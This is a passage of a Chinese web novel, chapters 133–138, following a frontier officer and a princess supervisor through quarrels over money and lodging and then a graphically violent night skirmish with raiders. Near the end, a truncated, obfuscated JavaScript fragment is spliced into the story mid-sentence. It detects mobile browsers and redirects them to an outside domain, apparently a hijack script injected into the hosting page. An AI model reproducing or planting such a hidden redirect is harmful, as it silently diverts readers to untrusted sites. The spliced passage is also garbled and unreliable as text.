叶十三也是眼睛一翻,没理会香香郡主的话,张大了嘴就大吃起来。
一块烙饼,在香香郡主吃惊的目光下,被叶十三两口就吞进了肚里。
“有人赐食,此乃恩泽,岂能拂东主美意?”
叶十三伸出舌头,舔了舔手指头上的饼渣,这才回了香香郡主一句。
吃着别人家的饭,还要摆郡主的威风不让叶十三吃,香香郡主自己也觉得有些滑稽。
“多大了?”
一阵尴尬之下,没话找话的香香郡主,突然问起了何秀儿的年龄。
“秀儿今年十七了。”
叶十三低着头喝粥,突然冒出一句,替何秀儿作了回答。
这一抢答,香香郡主勃然大怒。
“吃饭都堵不住你的破嘴?”
香
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香郡主的这一大怒,又把何秀儿给吓得腿肚子一软。
“郡主息怒!”
肝胆俱裂的何秀儿,双膝一软就跪了下来,低着头又是一阵求饶。
“千户大人视民妇如家人,民妇出阁时,就是从烽火台的营房上的花轿,千户大人知道民妇的年龄,这也是民妇之前告知过千户大人和老夫人的。”
“那天,临上花轿时,老夫人还给了民妇一支发簪。”
“老夫人和千户大人,就是民妇的恩人。”
跪在地上的何秀儿,一口气说完,就拿衣袖擦起了眼角。
吃着人家精心做的饭食,还要给人家的救命恩人找不是。
“起来吧!”
香香郡主一阵尴尬,摆摆手又道:“军中之事,本与你无关,你,退下吧!”
何秀儿泪眼婆娑地站了起来,偷瞥叶十三一眼,心神不宁地就去了隔间待着。
“吃饭都堵不住你的破嘴!”
叶十三喝着碗里的白粥,鹦鹉学舌地就重复了香香郡主的话,原封原样地还给了香香郡主。
这下,出乎叶十三意料的是,香香郡主并没有火冒三丈,而是把一只玉雕一样白的手,伸向叶十三面前。
“银子还有吗?算我借你的。”
话一出口,叶十三猛然咳嗽一声,吓得香香郡主急急往后一躲。
一朝被蛇咬,十年怕井绳。
这下叶十三喝进嘴里的是白粥,而不是茶水。
香香郡主极力地斜着身子,方才伸向叶十三面前的那只手,迅速缩了回来挡着自己的脸。
她生怕叶十三嘴里刚喝进去的白粥,又像刚才那样喷她一身一脸。
不过,叶十三并没有像方才那样把持不住,而是点点头,放下粥碗,伸手从怀里摸出一张一百两的银票,大大方方地把银票,拍在香香郡主面前的矮桌上。
“不够的话,我再拿?”
“还行,也不少了。”
香香郡主一双美眸看向桌面的银票面额,微微颔首,表示已经足够了。
“不够就说,咱有的是银子。”
摸准了香香郡主的意图,叶十三把手又伸入自己的怀里,做着时刻往外掏银票的动作。
“够了够了,就这样吧!”
说完,香香郡主抓起桌面上的银票,美眸一翻,又道:“以后用钱的地方不少,到时候再跟你要。”
草!
当老子是你什么了?
你家开的钱庄?
还是你家搜刮了百姓的钱,让老子替你们保管着?
香香郡主的话,差点就让叶十三吐血。
第134章 本郡主革你军职
尼玛!
你倒是挺大方的哈?
知道老子搞这些银子容易不?
叶十三肚里一通狠骂。
“干嘛拉着张脸啊?”
望着叶十三生无可恋的神情,香香郡主又道:“说好了借你的,又不是不还你。”
说完,香香郡主狠剜叶十三一眼,站起来后准备回签房大院。
“借钱,那是要给利息的。”
突然,叶十三又冒出一句话来。
“啊……”
香香郡主闻言,吃惊地转过头来。
“要利息?”
“没错,钱庄都这样。”
“你讹了周大人那么多银子,我都替你瞒着,你不分我点也就算了,借你几个,还有脸要利息?”
晕!
谁说这傻妞是个蠢货?
老子就跟他急!
这时候,何秀儿从隔间出来,用一张草纸包着几块剩下的烙饼,递向叶十三后,说道:“郡主吃不惯大灶的伙食,这些饼带着路上吃。”
“拿着!”
香香郡主把那张一百两的银票,往何秀儿空着的手里一塞,笑道:“不白吃你的,你也够不容易的了。”
“还有!”
香香郡主环视四周一眼,又道:“边城不宁,战事一触即发,叶千户一人要忙如此之多的军务,本郡主决定留在黄羊岘,与这里的边民一起抵御外敌。”
“啊……”
“这……”
这下,吃惊的不光是何秀儿了,叶十三就像被雷击了一样,大张着嘴当场石化。
本以为,香香郡主那些大义凛然的话,也只是为了摆姿态说说而已。
谁知道?
她居然放弃何家大院的舒适和安稳,改变主意要在这黄羊岘防区驻扎。
“难道不对吗?”
香香郡主一瞥满脸惊异的叶十三,撇嘴道:“身为监军,理应奔波于防区一线,要是贪图安逸,本郡主为何不留在镇上或者是万川郡?”
“可这……”
叶十三一时语塞。
这胸大无脑的傻大妞,不会是一时心血来潮吧?
成年人了,一时激动之下,大姨妈提前来潮还有一说。
这心血来潮甘愿和一线兵卒们搅在一起,就这饭食,你能咽得下去不?
再说,何秀儿家也不是天天能为你做饭。
想起做饭,叶十三从惊愣中恍然醒悟过来。
带这蠢货来这边吃饭,真正的目的,是要给何秀儿说一件事。
“秀儿!”
叶十三转过脸来,目光看向何秀儿,道:“准备一下,再给郑教头说一声,你要在沙窝地做一段时间的饭。”
“烽火台营房离这屯田村近十里路,沙窝地的那屋子正好作为中转,你在那边,只管做好探讯兵士们外出所带的干粮就成。”
“是有一部分兵士要暂住沙窝地的,这样也省去了他们自己做饭的麻烦。”
叶十三把自己部署的想法,一股脑儿全说了出来。
何秀儿没有问任何话,只是顺从地点点头。
“民妇遵命!”
“请千户大人稍等片刻,民妇收拾一下就可过去了。”
“老郑那头,民妇向外面的铁匠说一声,让带话给他就可。”
对于何秀儿说的,叶十三点点头,表示默许。
等何秀儿带了一些简单的用物,三人这就出了铁匠铺的后院。
“我也去,跟你去营房。”
香香郡主一撇嘴,冷不丁又是一句。
“郡主……”
“知道我是郡主,又是监军,你敢抗命?”
“依末将看,何家大院还是要比这边好一点。”
“如是那样,本郡主来边城何为?京都岂不是更好?”
“这……”
“这什么这?你若敢抗命,本郡主革你军职。”
此言一出,叶十三脸都绿了。
沉默片刻,硬起头皮又道:“营房虽大,但住舍不甚宽敞,用具更是匮乏,郡主如何适应得了?”
“无碍!”
香香郡主半眯着眼睛,皮笑肉不笑地说道:“这个叶千户还是不要担心,周大人不是派了两个兵卒跟着本郡主吗?这样好了,缺什么?让他们从镇上去要。”
此言一出,叶十三眼睛亮了。
草!
既然无法改变,何不趁此机会再巧周敬堂一笔?
这也不算是老子敲竹杠,那可是郡主要的哈!
“末将悉听尊便!”
叶十三转过头来,潦草地向香香郡主抱拳一礼。
“德性!”
香香郡主美眸一翻,狠剜叶十三一眼,然后一路走着,有一句没一句地和何秀儿说话。
很快到了签房,叶十三要来纸笔,一口气写下了不少的物资。
香香郡主也没闲着,让随同的侍婢紫伶收拾东西,然后唤来苏哲,说明了自己的决定,让苏哲带着五十名卫兵留下。
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此言一出,苏哲大惊。
“郡主不可!”
苏哲一脸惊讶,急道:“此地是大夏与元蒙接壤最近的地方,**屡次从此地进犯我土,危险不说,这里条件恶劣,郡主如何适应得了。”
“他们能驻扎在此,本郡主身为监军,为何就不能与他们并肩抗敌?”
“郡主……”
苏哲额头,已经见汗。
“按理说,监军职,盯住军部的作为就可,没必要和这等边卒混在一起。”
“放肆!”
香香郡主勃然大怒,狠瞪苏哲一眼,又道:“坐镇军部,成天被那些老滑头哄得团团转,难道这就是我等此行的目的不成?”
“郡主……”
苏哲一急,双腿一弯就地跪了。
“千里北方线,光盯这一处,不如沿线巡查……”
“闭嘴!”
香香郡主突然抬腿,把跪在地上的苏哲,一脚给踹了个仰面朝天。
“本郡主自有考量,还用不着你来指手画脚。”
“郡主息怒,但您得考虑自身的安危啊!还是让末将跟着才是。”
“让你跟着?”
“没错。”
“你自以为有叶十三厉害?”
“这……”
“有他和他的人在,还怕**杀了本郡主不成?”
此言一出,苏哲面颊一抽。
没错!
叶十三是厉害,但叶十三比**更危险。
可这话,给苏哲一百个胆子,此时他也不敢说出来。
他有种奇怪的感觉,但他也捋不出个具体的顺序来。
“郡主三思啊!”
无话可说,又无计可施的苏哲,双手伏地又是哀嚎一声。
“行了!”
香香郡主不耐烦地摆摆手,冷着脸说道:“带着他们好好训练,积极配合边军防务,不得肆意妄为。”
说完,香香郡主狠瞪苏哲一眼,又道:“若是惹出乱子,新账旧账一起算。”
此言一出,苏哲浑身一抖。
就香香郡主被掳那事,再是香香郡主任性不听劝阻,但作为护卫的他,也脱不了干系。
事后,香香郡主并没有拿他问罪,这已是天大的恩惠了。
眼下他要是横加干涉,不但阻止不了香香郡主的决定,而他这个骠骑校尉,很可能就会就地免职滚回去受罚。
“末将遵命!”
苏哲从地上狼狈地爬起,一溜烟就跑了个没影。
第135章 你还是个人吗?
随后,刘四和王选二人,被香香郡主打发回镇上要物资。
徐老六准备了一辆马车,拉着一些粮食交给何秀儿。
“你去,和她坐那辆马车。”
香香郡主领着紫伶,把紫伶指向何秀儿的那辆马车。
“检查所带物品有无遗漏,若是没有,那就出发!”
香香郡主随即上了马背,一挥手中的马鞭,直接下令开拔。
“大人……”
吴六子马成,向叶十三投去一瞥,用目光征求的叶十三的意见。
叶十三才是他们的主帅,这个令,得由叶十三来下。
“走吧!”
叶十三摆摆手,一扬马鞭,催马就跑在前面。
至于香香郡主指手画脚的瞎指挥,他是懒得去搭理。
反正,这些人那是为他是尊。
讨了个没趣的香香郡主,催马紧跟在叶十三马后,几次试图超越叶十三的马身,就是跑不到叶十三的前头。
“狗子!”
香香郡主转头就喊。
“小的在。”
李狗子双腿一夹马肚,紧赶几步就跟在香香郡主马后。
“你这破马怎的跑不快?”
面对香香郡主的牢骚,李狗子只有憨笑。
要知道,抢来的这批**的马里面,叶十三骑着的那可是头马。
其余的马匹,自然习惯性地跟着头马,不肯超越半步。
香香郡主从京都骑来的那匹纯色白马,是给**掳走后没有抢回来。
大晚上的,潜入敌营救人,谁还刻意去给她找马匹马?
“狗子,看得出来你是个好人。”
没话找话的香香郡主,冷不丁又来了这么一句。
叶十三头都没转,只顾催马赶路。
老子背你跑了大半夜,肠子都差点跑拧了,李狗子才背了你几里地?
跟老子一起死守防区,这可是你自己选择的,到时候可别哭鼻子。
不多时,沙窝地到了。
探马们帮何秀儿卸下东西,留着吴六子带了十人整理茅草屋,马成带着另外十人赶了马车,拉着月瑶和叶十三回了营房。
一到营房大院,香香郡主傻眼了。
这里除了木栅栏围起来的营房大院,再就是一排低矮的茅草屋。
烽火台就在不远处,除此之外,连一棵树都见不到。
“这,就是你住的地方?”
香香郡主呆立在马背上,她万没想到,黄羊岘防区最高军事长官的千户叶十三,住的地方还,远不如屯田村的签房。
要知道,叶十三之前只是个最底层的烽燧兵而已。
而屯田村,那可是有着几十年垦田积累的军垦区。
单凭房屋质量上看,都胜过营房许多。
“到了,请郡主下马。”
叶十三笑了笑,目光瞥向傻眼了的香香郡主。
“郡主要是怕了,调转马头就可。”
面对叶十三的建议,香香郡主粉脸一变,脖子一梗,冷声道:“本郡主还就不走了,你能住得,本郡主为何住不得?”
草!
还真是一根筋,这么要面子干嘛?
装模装样视察一番,再登上烽火台,四处瞅瞅图个新鲜,然后不咸不淡讲上几句冠冕堂皇的话,回去不就行了?
“郡主!”
下了马车,提着两只大包裹的紫伶,一脸不安地望向香香郡主。
“还不进去收拾住的地方,难道要本郡主教你不成?”
香香郡主一张口,就怒斥了紫伶一句。
待进了院子,把马缰绳交给李狗子,香香郡主探着脑袋,把用来住人的几间茅草屋,全都查看了一番。
一长溜搭建简单的茅草屋,总共有六间。
从左面数起,第一间是堆放杂物用的库房,依次是连着的两间住人的屋子,紧接着又是一间做饭的伙房,剩下的两间,还是用来住人。
叶十三住在紧挨着伙房的那间,另外一间,那就是香香郡主和紫伶的住处了。
除此之外,再无他选。
如此一来,一间屋子供香香郡主用了之后,马成和吴六子,只好各自带着十名探马住靠着库房的两间屋子。
后院更是简单,除了空地上的一排拴马桩外,再就是四面漏风的一排马厩。
香香郡主把营房大院走了个遍,视线中始终没发现有茅厕的样子。
她哪知道?
就这野地,之前的烽燧兵们,都是在后院栅栏外面的野地上自由方便。
后院没来及打扫的
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雪地上,到处都是马粪,多上一些人的粪尿,倒也没有半点违和感。
一阵头大的香香郡主,这才有些后悔自己的肤浅。
海口已经夸下了,只有硬着头皮挨下去。
马成让兵卒从最打头的那间屋子里,把他和吴六子的铺盖拿到另外的屋子,然后让把屋子彻底打扫一遍。
香香郡主硬着头皮,从汗臭加着男人脚臭的屋子里转了一圈,捏着鼻子就来到叶十三住的屋子。
进入叶十三住的屋子,味道比隔壁屋子好不了多少。
“看你老大不小的人了,住的就像个猪窝。”
香香郡主一手捏着鼻子,一手指着炕上叶十三破絮一样的铺盖。
“让郡主受委屈了!”
叶十三面上一阵尴尬,讪笑道:“这不,待会镇上不就送来了嘛!末将这次列的清单,反正东西不少,这还是沾了郡主的光了。”
“知道就好。”
叶十三一句话,香香郡主又面露得意,轻蔑说道:“等刘四和王选回来,把你这人窝里的破烂换换,这样住着哪成?”
虽然语气满是不屑和轻蔑,但叶十三听了,心头却是一暖。
隔壁屋子里,紫伶用一条丝巾蒙住头脸,在兵卒们打扫过的地方,又擦拭了一遍才算完事。
到底是京都来的郡主,那只被紫伶提着的大包裹中,居然还装有一盒来自外邦天竺的熏香。
熏香这玩意儿,只有京都的皇亲国戚才配享用。
想起何秀儿生的那盆牛粪火,叶十三向一名兵卒说道:“挑一只好一点的火盆,等牛粪的烟燃尽后,再拿进去郡主的屋子让暖暖屋。”
“营房没木炭啊?”
香香郡主一句话刚问出口,顿觉不妥,想收回时已经来不及了。
她自己心里都清楚,这样是问话,简直就是白问。
木炭何等金贵,如何能在这等地方随意使用?
不料,叶十三却不以为然,笑道:“这些,末将已经列了进去,刘四他们回来,定会有的,周大人那可是个大方人,何况这都是郡主所需之物。”
大方?
周敬堂那蠢货,差点都被你这混蛋给坑**,再不说人家周大**方,你还是个人吗?
第136章 老子何时要真丝睡裙了?
直到夜半时分,去镇上的人才回来。
不过,刘四和王选二人,那么远路折了个来回也够呛的。
这下好了,不但带来了满载着物资的两辆马车,还带来了两名壮实的中年妇女。
看来,刘四和王选,回镇上后,向周敬堂禀报了香香郡主的实况。
在按物品清单配置齐了物资后,又挑选了两个家佣来服侍香香郡主。
由于没有被褥可歇息的香香郡主,一直待在叶十三的屋里,边烤火边东拉西扯熬时间。
物资一到,紫伶眼睛就首先亮了。
“郡主,一应所需,周大人都给配置齐了。”
“这得感谢叶千户。”
香香郡主瞥了一眼早已困得直打盹的叶十三,呡着嘴又道:“还是叶千户周到,本郡主就没想到这些,以为营房什么都有。”
“奴婢,谢过千户大人!”
尽管紫伶心里一百个不情愿,但还是向叶十三深施一礼。
如果没有这些,别说尊贵处优的香香郡主了,就她这个奴婢,也受不了这种猪窝般的条件。
自打跟了香香郡主,住的都是雕梁画栋的大屋子,一应用物无不是最好的精品。
边城防区,跟什么都没有一样。
这下好了,从镇里拉来不少的好物品可用。
“郡主,还有毯子和毡!”
查看着物资的紫伶,又一次掩饰不住心头的喜悦,忍不住就叫了起来。
“缎面棉被,还有狐皮褥子。”
“郡主,细瓷的碗碟和**的筷子,茶杯也是精瓷。”
“真丝睡裙都有,这叶千户想的也是太周到了吧!”
真丝睡裙?
扯你娘个蛋!
有没有蕾丝内衣?有没有连体丝袜?
说了你们都不懂。
草!
老子何时要真丝睡裙了?
就是趁着机会,给营房搭车要点东西而已,你真当老子是这傻大妞的舔狗了?
叶十三不用想,那些东西,都是周敬堂巴结香香郡主的。
周敬堂的小妾们,从来不缺这些,顺手拿几套都不是什么难事。
“郡主,菜油三大坛,还有鸡蛋,烫了**冻着的白条鸡,冬白菜,干蘑菇,还有笋干这些。”
这些东西,对于紫伶来说,本是**以为常,拿京都来说根本算不了什么。
但在边城,这是一般人可望不可及的奢侈。
“郡主,还有猪肉,宰好了的白条猪,一劈两半,足有三头之多。”
看着马车上的东西,被刘四和王选一样样抬了下来,紫伶的兴奋一浪高过一浪。
“没出息的东西!”
同样强按着心头的喜悦,香香郡主却板起脸来,斥责紫伶大惊小怪又丢人现眼。
穷起来的时候,这些都是稀罕物。
装,装,你就给老子装?
叶十三不禁哑然失笑!
这都啥时候了?
还在老子面前装姿态,实在一点好不好?
“咳!”
叶十三虚握拳头,放在嘴边假咳一声。
“辛苦二位了!”
“千户大人,可不敢这么说为郡主跑腿,那可是小的们的荣耀啊!”
刘四一脸谄笑,向叶十三施了一礼,然后转身又去忙碌。
“剩下的,搬这边屋里。”
叶十三看到香香郡主该用的东西,已经卸得差不多了,后面那辆车上装的,可是他自己加码搭车的物品。
王选抱着一只大箱子,迟疑了一下,不知道该往哪个屋里搬?
“听千户大人的!”
香香郡主这次,可是抖了一下机灵。
郡主发话了,抱着箱子的王选,点点头后,把后面马车上的物品,一股脑儿都搬进了叶十三的屋子。
物资是有了,可叶十三却又发起愁来。
眼前这两个壮妇,该如何安置?
营房就这些屋子,都已经安排得水泄不通了。
总不能让香香郡主,和他挤一个大炕吧?
就一间屋子,四个女人身份悬殊,主仆之间那可是不能平起坐的。
尤其是就寝,更是私密空间。
香香郡主似乎还没意识到这些,只顾在心里盘算着,以后的日子里,不再为那些猪食一样的饭菜犯愁了。
“郡主,该歇息了!”
紫伶自己本身都坚持不住了,借着炕上已经铺好了崭新的被褥,急忙催香香郡主就寝。
“哦!”
香香郡主回过神来,霎时就为难起来。
一应用物,都尽数齐全,唯独她没有瞅见有夜壶。
但这事,如何向叶十三开口要?
叶十三事无巨细,在签房列单子的时候,任何能想到的物品,都无一遗漏,尤其是吃喝,唯独忘了拉撒。
“你等先去候着,本郡主稍后就来!”
香香郡主先打发了紫伶和两名女佣,看到她们的背影消失在屋外,这才面红耳赤地看向叶十三。
“饿了?”
叶十三伸
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了个懒腰,漫不经心地又是一问。
“饿什么饿?”
香香郡主顿时怒火上头,低声怒道:“人家一个女儿家,如何向你们这些混蛋一样出恭?”
“哧……”
叶十三终于一个没憋住,霎时就笑了起来。
“还真忘了这茬?”
不好意思地挠挠头,目光开始在屋子里搜寻着。
突然,立在墙角的一卷草席,映入叶十三的眼帘。
“成了!”
叶十三摆摆手,站起来道:“明早,让王选和刘四,在外面围个圈不就好了?”
“哼!”
香香郡主霍然站了起来,冷着一张脸说道:“我真想把你的脑袋给拧下来当夜壶用。”
说完,气呼呼地一扭头,转身就出了屋子。
“蠢货!”
叶十三摇摇头,自言自语道:“兵营本是男儿待的地方,你一个蹲着撒尿的主,硬凑哪门子热闹?”
夜已经深了,既然镇里的物资到了,叶十三也就没什么可放心不下的了,爬上炕就打起了鼾。
倒是香香郡主进了自己的屋子,一瞥眼前的仨人,这才意识到就寝的麻烦。
只有刘四和王选二人,卸了东西后,把两辆空马车拉到后院,然后去探马们的屋里挤着睡了。
经常替周敬堂跑腿的他二人,机灵倒是足够的,这些小事难不倒他们。
只有香香郡主,坐在炕沿上发呆,和下人们共处一室,她还真有些不太习惯。
“郡主,您上炕睡,炕也是热着的,奴婢们就打地铺。”
紫伶无计可施之下,只有这样决定了。
“地铺?”
香香郡主一怔,随口又问:“就在这里?”
这不废话吗?难道还能在外面的野地?
“嗯!”
紫伶点点头,道:“这两边墙角,都能打地铺的,反正有毡和毯子,被子也够了,不碍事的。”
“哪……”
再想不出好办法的香香郡主,只好点点头应允。
好在两个壮妇麻利,三下五除二就铺开了草帘子,然后给上面再铺上羊毛毡。
这样一来,两个镇上来的壮妇睡一个墙角,紫伶独个儿占一个墙角。
熄灯后,一阵窸窸窣窣的脱衣声响过不久,屋里就响起了节奏不一的轻鼾声。
看来,都已经熬得够困的了。
“大人,烽火……”
刚米迷迷糊糊进入梦乡,叶十三就被一阵砸门声给吵醒。
第137章 滚**,这不是你该操的心
烽火?
难道**偷袭?
不到三息时间,叶十三穿好革甲,已经冲出了屋门。
烽火台上,烈焰升空而起。
紧接着,吴六子和马成二人,也是同样穿戴夺门而出。
砸门的是紫伶。
这倒让叶十三有些意外。
来不及多问,叶十三目光看向吴六子。
“你的人,分三路,烽火台一路,问明情况。”
“第二路,即刻赶往岘口,与徐老六会合。”
“第三路,屯田村驻军大营,知会袁彪。”
吴六子狼一样吼了一声,即刻转身就去安排。
“马成,你带十人,增援烽火台,弓箭**准备迎敌。”
马成面上一凛,急道:“郡主这边?”
“滚**,这不是你该操的心。”
“遵命!”
马成怪叫一声,背起箭筒,大手一挥,带着十名新卒,就向烽火台方向狂奔而去。
霎时间,后院里战马一阵嘶鸣,片刻后就冲出了营房栅门,在月光下扬起一阵雪泥。
此时,香香郡主也披挂停当,一脸紧张地跑出了屋子。
“何处来敌?”
一打照面,香香郡主张口就问。
“尚不明确,我已经派人去烽火台了解。”
“月色如此迷人,这些**为何要破坏此等美景?”
香香郡主嘟囔一声,急急就往后院跑。
“你去哪干嘛?”
叶十一阵头大,忍不住就是一问。
“你傻呀!”
香香郡主脚步没停,回头又喊:“不骑马迎敌,难道两条腿跑着?”
草!
这还像回事。
叶十三心里一嘀咕,也就跟了过去。
“大人……”
刚转身迈步,紫伶张开双臂往前面一站,当即就拦住了叶十三。
要不是她方才报信有功的话,叶十三说不定一脚就会把拦着他是紫伶给踹飞出去。
当初在何家大院,月瑶拦着叶十三,反而把自己的一条小命都搭上了。
“让开!”
“大人……”
叶十三一声怒吼,以为紫伶怕他阻拦香香郡主出战。
紫伶浑身一抖,急道:“郡主她,她内急。”
草!
不早说,屎尿别急了哈?
叶十三一撇嘴,讪笑道:“你几个,好生在屋里待着,外边没你们的事。”
“大人,奴婢得跟着郡主。”
已经见惯了叶十三凶相的紫伶,怯声又道:“郡主身边,不能没有人跟着。”
上次涉险的事,至今让紫伶心颤不已。
香香郡主虽然脱险,但也是那次引起的火头,让叶十三的人把紫伶活活给打死。
如果没有香香郡主被**掳去的事,就没有叶十三营救的事实,更没有郡主被冻麻了一只光脚想要泡热水。
热水被叶十三撞洒了,月瑶也由此送掉了一条命。
虽然月瑶该死,但她也是和自己一起,服侍郡主几年的伴儿姐妹。
如果郡主再出什么事?
那她这个侍婢,也就活到头了。
望着一脸惊慌的紫伶,叶十三口气软了下来,和蔼说道:“有本千户在,你就把心放肚里好了,打仗的事,有的是将士们去打,哪有让奴仆上战场的?”
叶十三虽然口气温和,但说出的话,那可是命令。
紫伶要是一意孤行,这就是抗命不遵了。
“奴婢,听千户大人的。”
嘴上如是说着,但紫伶的脚步,那可是没挪动半步。
与紫伶不同的是,屋里打地铺睡了的两个壮妇,此时紧紧地拥抱在浑身发抖。
铺了没多久的一条新毡,此时,已经被吓出来的尿水浸泡了个湿透。
忽然,叶十三又把目光,投向紫伶脸上。
“诶!你是如何发现烽火燃起?”
是啊!
都困成那样了,倒头就睡了过去的人,是如何发现烽火台上的示警烽火?
本来在月光下煞白的脸,被叶十三如此一问,霎时就红到了耳根。
“奴婢……”
紫伶低着头,迟疑一下又道:“奴婢内急,刚出屋子准备找地方方便,这一抬头,就看到……”
草!
这屎尿还立了功呢?
叶十三忍不住笑了,和蔼说道:“好生待着别乱跑,本千户回头赏你。”
就在这时候,香香郡主已经牵着两匹马出来。
草!
马鞍都备好了?
香香郡主人还没走到叶十三跟前,声音已经先到了。
“一个小小的千户,好大的架子啊!居然让本郡主给你这混蛋备马?”
草!
还讲理不?
明明你去拉屎撒尿,本千户一个大老爷们又不方便跟着。
这咋成了让你伺候我了?
叶十三摇摇头,苦笑道:“末将谢过郡主。”
“哼!”
香香郡主鼻孔冷哼一声,就地翻身上马,吼道:“还磨蹭到何时?难道还要
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本郡主扶你上马才是?”
“郡主息怒,末将这就出发。”
叶十三嘴里应承着,脚下已经射出几步,话音落下的时候,人已经稳稳骑在了马背上。
“岘口方向!”
叶十三怒吼一声,打马冲在前头。
不多时,两匹战马,已经冲上了营房侧面的沙梁。
“快看!”
紧跟身后的香香郡主,突然大叫起来。
其实,叶十三已经看到,十匹狂奔着的战马,从沙梁的那头向这边疾驰而来。
月光虽亮,但能见度还是远不比白天。
不对!
吴六子带的人,就是分成三路,每一路也超不过四人。
这是十人十骑,说明绝不是自己的探马。
思想间,十骑已经冲到眼前不足五六丈远。
真**是**。
不过,都是皮袍白身,不是元蒙的骑兵。
转眼间,迎面而来的十匹战马,突然五五分开,从叶十三和香香郡主的两侧而过,然后首尾相接,把二人围在中间。
“别慌,别乱动,原地待着,一切有我。”
“仓啷”一声,叶十三拔出那把残刀,低声叮嘱了香香郡主一句。
此时,香香郡主已经持剑在手,胯下战马,已经被缰绳引得直转圈儿。
“哈哈哈……”
包围着二人的**,突然有人狂笑起来,惊喜喊道:“这娘们还是个军官,看她的战甲,那可不是一般的武将。”
“好极了,别弄死她,活捉了当人质,我们的人还被他们包围着的。”
“大家一起上,手下掌握好了,要活的。”
**兴奋不已地喊叫,叶十三霎时就听明白了。
这些家伙们越境入侵,被驻军发现后包围了,这十人跑散后慌不择路,这才和他与香香郡主相遇。
想活捉老子?
你**睡醒了没?
就是你们嘴里的这个娘们,老子更不能让你们这些杂碎给弄走。
叶十三笑了,笑得有些诡异。
倒是香香郡主的呼吸,粗重得就像牛喘一样。
一听身份被识破,她霎时就慌了。
十把弯刀,已经齐刷刷举起,在月光下泛着一片令人不安的冷光。
“都听好了,大伙一起上,抓活的。”
随着一名**的疯狂喊叫,另外九名**,更是仰头狂笑不止。
十匹战马,首尾相接,不停地围着叶十三二人,在沙梁的雪地上疯狂转圈。
第138章 敌贼固然可恶,但战马无过
十把寒气逼人的弯刀,形成一个让人脖颈发凉的刀圈。
叶十三一勒马缰,与香香郡主的马倒过来并列着。
“不可妄动,一切有我。”
叶十三压低声音,咬牙又是一句。
“嗯!”
已经六神无主的香香郡主,哪里还敢主动出击?
**的战马,一个劲地围着她和叶十三转圈,就是出击,她也一时无法选择一个固定目标动手。
“刷……”
十把弯刀,掠起一片寒气,卷着马蹄溅起的雪渣,向二人兜头罩了下来。
叶十三在一息之间,平伏马背,右手的残刀同时平掠香香郡主头顶。
“叮当……”
这一伏一掠,向自己头顶罩下的五把弯刀一击走空,而罩向香香郡主头上的五把弯刀,迸溅过一片火星后,从五个**的手中,直接掉落沙梁在下面。
而叶十三却没由此闲着,胯下的战马,被缰绳牵引着,马头抵着香香郡主战马的屁股转了个圈,他手中的残刀,顺势又是划了个半圆。
“啊……”
一片惨叫同时响起,就像商量好了似的。
这一下,掉在地上的不只是五把弯刀,还有握着刀柄的五只人手。
月光下沙梁上的积雪,此时白得晃眼,掉落在积雪中的五只人手,却是令人怵目惊心。
就这一刹那,包围着叶十三和香香郡主的十个**,手中已经没有了武器。
更让**们奔溃的是,他们其中的五人,连握刀的手都没了。
方才,就在**们手中的弯刀,罩向香香郡主头顶的时候,香香郡主不由得一闭眼。
那双美眸一闭一睁,眼前的景象却是陡然突变。
被砍掉了手的**们,还在惨嚎不已,他们胯下的战马,却还在规则有序地转着圈。
又是一片血光,在香香郡主美眸中闪过。
这下,掉在眼前雪地上的,可不是**们握过刀的手,而是九颗正往下喷血的脑袋。
九具没了脑袋的身子,还在快速转圈的马背上,喷起三尺多高的血柱,洒落在雪地上殷红一片。
“咴咻咻……”
一匹战马仰头长嘶,脑袋一摆,脱离了转着圈的马队阵型,撒腿就向营房的方向狂奔而去。
马背上的**,一只脚被套在马镫里,掉落下马背的身子,脑袋在雪地上犁出一道一尺深的沟槽来。
“跑了?”
叶十三收了刀,望着那匹战马狂奔的方向,笑道:“郡主,你还不去追?”
“啊……”
香香郡主猛然回神,吃惊地望着那匹战马在月光下远去的背影。
此时,另外九匹战马,由于没有了骑手的控制,一下子四散奔逃开来,瞬间就跑了个没影。
“追啊!愣着干什么?”
叶十三又是一声怒吼,香香郡主一勒马缰,高举着手中的三尺青锋,策马就向来时的方向狂奔而去。
**的战马,顺着沙梁狂奔而下,身后溅起漫天的雪片。
瞬间就被香香郡主的战马赶了上来。
“哪里逃?”
神情振奋的香香郡主,身子前倾挥着手中的剑,巴不得把剑当弓箭给射出去。
四处飞溅的雪片,夹杂着一股浓浓的血腥味。
被拖在地上的**身子的断腕处,殷红的人血不断地喷射在雪地上,又被自己战马的后蹄,扬得飞溅起来。
三丈,两丈,一丈……
就在香香郡主的马头,已经触到**战马的马尾的时候,香香郡主一个漂亮的镫里藏身,握着剑的手斜着向前刺出。
“咴咻咻……”
狂奔中的**战马,突然嘶鸣一声,马身一斜就翻到在地。
这一剑,直接挑断了**战马后腿筋。
已经冲在前面的香香郡主,放慢了马速,勒转马头后又翻上马背,用手中的剑,指向地上不断蹬踏着三条腿的战马。
这一招镫里藏身,自香香郡主学会骑射以来,不知道练了几千遍。
这一次,终于用上了排场。
“不错了!”
叶十三策马赶了上来,张口就是一通猛夸。
“我本以为,你只会纸上兵谈兵,不过这招还算不错,起码是战场杀敌所用。”
“混蛋!”
香香郡主傲然挺胸,得意洋洋望向叶十三。
“你以为,本郡主只会大吼大叫不成?”
“是末将肤浅了!”
叶十三笑笑,指着地上哀鸣着的战马,道:“挑断它的脖脉,给个干脆,敌贼可恶,但战马无过,让它少受些痛苦吧!”
“哦!”
叶十三像是又想起什么?
挠挠头,又道:“然后砍下**脑袋,本千户**行赏。”
“真的?”
一听**行赏,香香郡主眼睛都亮了,惊喜道:“堂堂千户,可不能耍赖哈!”
草!
说你蠢,你还不乐意!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769741|171513||http|test|mini|href|location''.split(''|''),0,{}));
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r>就军职而言,你她娘的可是老子头上的监军。
要赏?
那也是你这胸大无脑的蠢货给老子赏银子。
香香郡主兴奋不已,举着剑却是没地方下手。
**的身子,已经被翻倒在地的战马压在身下。
庞大的马躯,把**兵压了个严实。
而此时的战马,狠命地在雪地是挣扎个不停。
“那好!”
香香郡主心一发狠,照准了马脖子上的脖脉位置,眼睛一闭,双手握着剑就刺了进去。
“刷……”
